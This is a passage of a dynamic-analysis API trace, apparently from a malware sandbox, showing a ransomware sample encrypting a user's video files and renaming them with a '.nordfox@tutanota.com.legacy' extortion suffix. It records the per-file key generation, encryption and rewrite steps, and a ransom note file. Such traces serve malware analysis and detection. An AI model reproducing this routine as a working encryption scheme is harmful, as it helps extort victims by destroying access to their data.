Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.112] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.112] WriteFile (in: hFile=0x79c, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.112] WriteFile (in: hFile=0x79c, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.112] CloseHandle (hObject=0x79c) returned 1 [0141.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0141.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0141.113] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\pqVvqlfa8.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\pqvvqlfa8.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\pqVvqlfa8.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\pqvvqlfa8.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a88 | out: hHeap=0x520000) returned 1 [0141.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0141.116] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0141.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0141.116] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0141.116] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\OUpIQX.flv", dwFileAttributes=0x80) returned 1 [0141.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b8e0 [0141.117] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.117] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\OUpIQX.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\oupiqx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.117] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=11581) returned 1 [0141.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2d3d) returned 0x614418 [0141.117] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2d3d) returned 0x617160 [0141.117] ReadFile (in: hFile=0x79c, lpBuffer=0x614418, nNumberOfBytesToRead=0x2d3d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614418*, lpNumberOfBytesRead=0x2e1f9bc*=0x2d3d, lpOverlapped=0x0) returned 1 [0141.118] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-11581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.118] WriteFile (in: hFile=0x79c, lpBuffer=0x617160*, nNumberOfBytesToWrite=0x2d3d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2d3d, lpOverlapped=0x0) returned 1 [0141.118] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614418 | out: hHeap=0x520000) returned 1 [0141.118] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x617160 | out: hHeap=0x520000) returned 1 [0141.118] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2d3d [0141.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.118] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.118] WriteFile (in: hFile=0x79c, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.119] WriteFile (in: hFile=0x79c, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.119] CloseHandle (hObject=0x79c) returned 1 [0141.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0141.119] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0141.119] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\OUpIQX.flv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\oupiqx.flv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\OUpIQX.flv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\oupiqx.flv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b8e0 | out: hHeap=0x520000) returned 1 [0141.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x6121e8 [0141.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0141.120] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0141.120] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0141.121] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0141.121] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\jlvabbYMZMl.avi", dwFileAttributes=0x80) returned 1 [0141.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611c90 [0141.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x563c58 [0141.121] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611c90 | out: hHeap=0x520000) returned 1 [0141.121] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\jlvabbYMZMl.avi" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\jlvabbymzml.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.121] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93633) returned 1 [0141.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16dc1) returned 0x2e61f38 [0141.121] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16dc1) returned 0x2e78d08 [0141.121] ReadFile (in: hFile=0x79c, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x16dc1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x16dc1, lpOverlapped=0x0) returned 1 [0141.122] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-93633, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.123] WriteFile (in: hFile=0x79c, lpBuffer=0x2e78d08*, nNumberOfBytesToWrite=0x16dc1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e78d08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16dc1, lpOverlapped=0x0) returned 1 [0141.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e78d08 | out: hHeap=0x520000) returned 1 [0141.124] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16dc1 [0141.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.124] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.125] WriteFile (in: hFile=0x79c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.125] WriteFile (in: hFile=0x79c, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.125] CloseHandle (hObject=0x79c) returned 1 [0141.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0141.126] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0141.126] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\jlvabbYMZMl.avi" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\jlvabbymzml.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\jlvabbYMZMl.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\jlvabbymzml.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c58 | out: hHeap=0x520000) returned 1 [0141.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6121e8 | out: hHeap=0x520000) returned 1 [0141.127] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611bf8 | out: hHeap=0x520000) returned 1 [0141.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60de80 [0141.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0141.127] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0141.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0141.127] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0141.127] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\EqfT58LU mMBerIUbey.mkv", dwFileAttributes=0x80) returned 1 [0141.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x60cc20 [0141.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0141.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cc20 | out: hHeap=0x520000) returned 1 [0141.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\EqfT58LU mMBerIUbey.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\eqft58lu mmberiubey.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0141.128] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=98276) returned 1 [0141.128] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17fe4) returned 0x2e61f38 [0141.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17fe4) returned 0x2e79f28 [0141.129] ReadFile (in: hFile=0x79c, lpBuffer=0x2e61f38, nNumberOfBytesToRead=0x17fe4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e61f38*, lpNumberOfBytesRead=0x2e1f9bc*=0x17fe4, lpOverlapped=0x0) returned 1 [0141.132] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-98276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.132] WriteFile (in: hFile=0x79c, lpBuffer=0x2e79f28*, nNumberOfBytesToWrite=0x17fe4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e79f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17fe4, lpOverlapped=0x0) returned 1 [0141.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e61f38 | out: hHeap=0x520000) returned 1 [0141.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e79f28 | out: hHeap=0x520000) returned 1 [0141.134] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17fe4 [0141.134] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.134] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.135] WriteFile (in: hFile=0x79c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.135] WriteFile (in: hFile=0x79c, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.135] CloseHandle (hObject=0x79c) returned 1 [0141.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0141.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0141.135] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\EqfT58LU mMBerIUbey.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\eqft58lu mmberiubey.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\-pkIr 0gswkCHrf_\\MljGq6d-bw\\EqfT58LU mMBerIUbey.mkv.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\-pkir 0gswkchrf_\\mljgq6d-bw\\eqft58lu mmberiubey.mkv.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60de80 | out: hHeap=0x520000) returned 1 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dd30 | out: hHeap=0x520000) returned 1 [0141.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0141.137] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c918 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0141.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.137] GetLastError () returned 0x0 [0141.137] SetLastError (dwErrCode=0x0) [0141.137] GetLastError () returned 0x0 [0141.137] SetLastError (dwErrCode=0x0) [0141.137] GetLastError () returned 0x0 [0141.137] SetLastError (dwErrCode=0x0) [0141.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0141.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0141.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610310 [0141.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c758 [0141.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0141.138] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0141.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0141.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610310 | out: hHeap=0x520000) returned 1 [0141.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.138] FindNextFileW (in: hFindFile=0x60c918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0141.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0141.140] GetLastError () returned 0x0 [0141.140] SetLastError (dwErrCode=0x0) [0141.141] GetLastError () returned 0x0 [0141.141] SetLastError (dwErrCode=0x0) [0141.141] GetLastError () returned 0x0 [0141.141] SetLastError (dwErrCode=0x0) [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c458 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c458 | out: hHeap=0x520000) returned 1 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0141.141] FindNextFileW (in: hFindFile=0x60c918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ff9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="oobe-desktop.css", cAlternateFileName="OOBE-D~1.CSS")) returned 1 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.141] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.141] GetLastError () returned 0x0 [0141.141] SetLastError (dwErrCode=0x0) [0141.141] GetLastError () returned 0x0 [0141.142] SetLastError (dwErrCode=0x0) [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.142] GetLastError () returned 0x0 [0141.142] SetLastError (dwErrCode=0x0) [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x611868 [0141.142] FindNextFileW (in: hFindFile=0x60c918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb18421a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xdb18421a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xdb18421a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.142] GetLastError () returned 0x0 [0141.142] SetLastError (dwErrCode=0x0) [0141.142] GetLastError () returned 0x0 [0141.142] SetLastError (dwErrCode=0x0) [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.142] GetLastError () returned 0x0 [0141.142] SetLastError (dwErrCode=0x0) [0141.142] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.142] FindNextFileW (in: hFindFile=0x60c918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea6143a6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, 